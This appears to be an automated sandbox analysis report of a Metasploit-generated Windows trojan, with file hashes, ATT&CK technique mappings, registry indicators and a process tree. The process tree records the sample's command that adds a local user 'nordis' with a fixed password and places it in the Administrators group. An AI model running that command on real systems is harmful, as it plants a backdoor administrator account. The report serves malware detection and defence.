metasploit | 4f94ff7c69fcfdc3fa732ef0cf3b541542a6d14eed0966c8c36d59ebe13dc85a

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
20-09-2024 13:49

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General

Target

4f94ff7c69fcfdc3fa732ef0cf3b541542a6d14eed0966c8c36d59ebe13dc85aN.exe
Size

72KB
MD5

27341417b941924bb8ff6578097a4960
SHA1

17ff8b228a3c2c34cbc01e49e37c68da4022915e
SHA256

4f94ff7c69fcfdc3fa732ef0cf3b541542a6d14eed0966c8c36d59ebe13dc85a
SHA512

91f42c36c6cb0a5292376044bfd07049e19eccff938dcc5a51b513801b984f7f3ec32efbb9d12048125d314e6aa8847e390fd206dbd683b08f59f64f1b90eec8
SSDEEP

1536:IqrTnDchXNXBfIy3VtAjwqNRtFRLmTQMb+KR0Nc8QsJq39:XrTDQ9j3VOwqlFRLmEe0Nc8QsC9

Score

10^/10

metasploit backdoor discovery trojan

Malware Config

Extracted

Family

metasploit

Version

encoder/shikata_ga_nai

Signatures

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4f94ff7c69fcfdc3fa732ef0cf3b541542a6d14eed0966c8c36d59ebe13dc85aN.exe

Runs net.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2724 wrote to memory of 2740	2724	4f94ff7c69fcfdc3fa732ef0cf3b541542a6d14eed0966c8c36d59ebe13dc85aN.exe	30
PID 2724 wrote to memory of 2740	2724	4f94ff7c69fcfdc3fa732ef0cf3b541542a6d14eed0966c8c36d59ebe13dc85aN.exe	30
PID 2724 wrote to memory of 2740	2724	4f94ff7c69fcfdc3fa732ef0cf3b541542a6d14eed0966c8c36d59ebe13dc85aN.exe	30
PID 2724 wrote to memory of 2740	2724	4f94ff7c69fcfdc3fa732ef0cf3b541542a6d14eed0966c8c36d59ebe13dc85aN.exe	30
PID 2740 wrote to memory of 2836	2740	cmd.exe	32
PID 2740 wrote to memory of 2836	2740	cmd.exe	32
PID 2740 wrote to memory of 2836	2740	cmd.exe	32
PID 2740 wrote to memory of 2836	2740	cmd.exe	32
PID 2836 wrote to memory of 2852	2836	net.exe	33
PID 2836 wrote to memory of 2852	2836	net.exe	33
PID 2836 wrote to memory of 2852	2836	net.exe	33
PID 2836 wrote to memory of 2852	2836	net.exe	33
PID 2740 wrote to memory of 3028	2740	cmd.exe	34
PID 2740 wrote to memory of 3028	2740	cmd.exe	34
PID 2740 wrote to memory of 3028	2740	cmd.exe	34
PID 2740 wrote to memory of 3028	2740	cmd.exe	34
PID 3028 wrote to memory of 2716	3028	net.exe	35
PID 3028 wrote to memory of 2716	3028	net.exe	35
PID 3028 wrote to memory of 2716	3028	net.exe	35
PID 3028 wrote to memory of 2716	3028	net.exe	35

C:\Users\Admin\AppData\Local\Temp\4f94ff7c69fcfdc3fa732ef0cf3b541542a6d14eed0966c8c36d59ebe13dc85aN.exe
"C:\Users\Admin\AppData\Local\Temp\4f94ff7c69fcfdc3fa732ef0cf3b541542a6d14eed0966c8c36d59ebe13dc85aN.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2724
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net user nordis Passw0rd1 /ADD && net localgroup Administrators nordis /ADD
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2740
- - C:\Windows\SysWOW64\net.exe
    net user nordis Passw0rd1 /ADD
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2836
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user nordis Passw0rd1 /ADD
      4⤵
      System Location Discovery: System Language Discovery
      PID:2852
- - C:\Windows\SysWOW64\net.exe
    net localgroup Administrators nordis /ADD
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3028
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 localgroup Administrators nordis /ADD
      4⤵
      System Location Discovery: System Language Discovery
      PID:2716

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Account Manipulation

T1098

Privilege Escalation

Account Manipulation

T1098

Defense Evasion

Credential Access

Discovery

Permission Groups Discovery

T1069

Local Groups

T1069.001

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2724-0-0x0000000000020000-0x0000000000021000-memory.dmp

Filesize
4KB

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